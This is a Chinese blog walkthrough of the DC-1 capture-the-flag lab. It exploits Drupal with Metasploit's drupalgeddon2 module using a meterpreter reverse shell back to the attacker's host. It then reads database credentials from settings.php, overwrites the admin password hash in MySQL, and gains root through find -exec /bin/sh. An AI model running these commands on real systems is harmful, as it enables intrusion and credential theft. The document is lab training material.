
作者:哦哦哦
实验环境
kali2020
DC-1靶机
实验过程
1、信息收集
1.1 主机发现
root@kali:~# arp-scan -l //发现DC-1的IP地址为192.168.18.151

1.2 端口扫描
root@kali:~# nmap -sS -sV -v -p- -A 192.168.18.151

发现开放了22、80端口,使用浏览器访问靶机地址,发现php CMS网站:Drupal

2、漏洞挖掘
2.1 目录遍历
root@kali:~# dirb http://192.168.18.151/

并没有发现可以利用的点
root@kali:~# whatweb http://192.168.18.151/

知道了Drupal的版本,去搜索版本漏洞

2.2 漏洞利用
root@kali:~# msfconsole
msf5 > search drupal
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.18.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.18.151
rhosts => 192.168.18.151
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.18.145
lhost => 192.168.18.145
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

查看当前目录文件,发现flag1.txt,提示我们去查看配置文件。继续查找其他目录,发现flag2.txt
drupal的配置文件是 /sites/default/settings.php

得到数据库的账号密码,接下来访问数据库,远程连接一下
python -c 'import pty;pty.spawn("/bin/bash")' //交互式shell

www-data@DC-1:/$ mysql -udbuser -pR0ck3t

mysql> select * from users;

要破解密文,可以使用暴力破解和更新密码的方式
我这里使用更新密码,用drupal自带的 password-hash.sh加密 ooo

进入数据库,更新密码
mysql> update users set pass="$S$DihOZZ5uVX3BCc6sKwcF9vcvOLWAj5R0f8yyl5AEIM0fZSi0phvj" where uid=1;

打开主页使用admin账号登录,发现flag3

3、提权
通过flag3得到思路,查看passwd文件,发现flag4。Linux为了考虑安全性,用单独的shadow文件存储Linux用户的密码信息,并且只有root用户有权限读取此文件。所以下一步,我们要考虑的是提权了。
采用find提权
www-data@DC-1:/var/www$ touch ooo
www-data@DC-1:/var/www$ find / -name ooo -exec "whoami" \;
www-data@DC-1:/var/www$ find / -name ooo -exec "/bin/sh" \;



转载请注明:Adminxe's Blog » DC-1靶机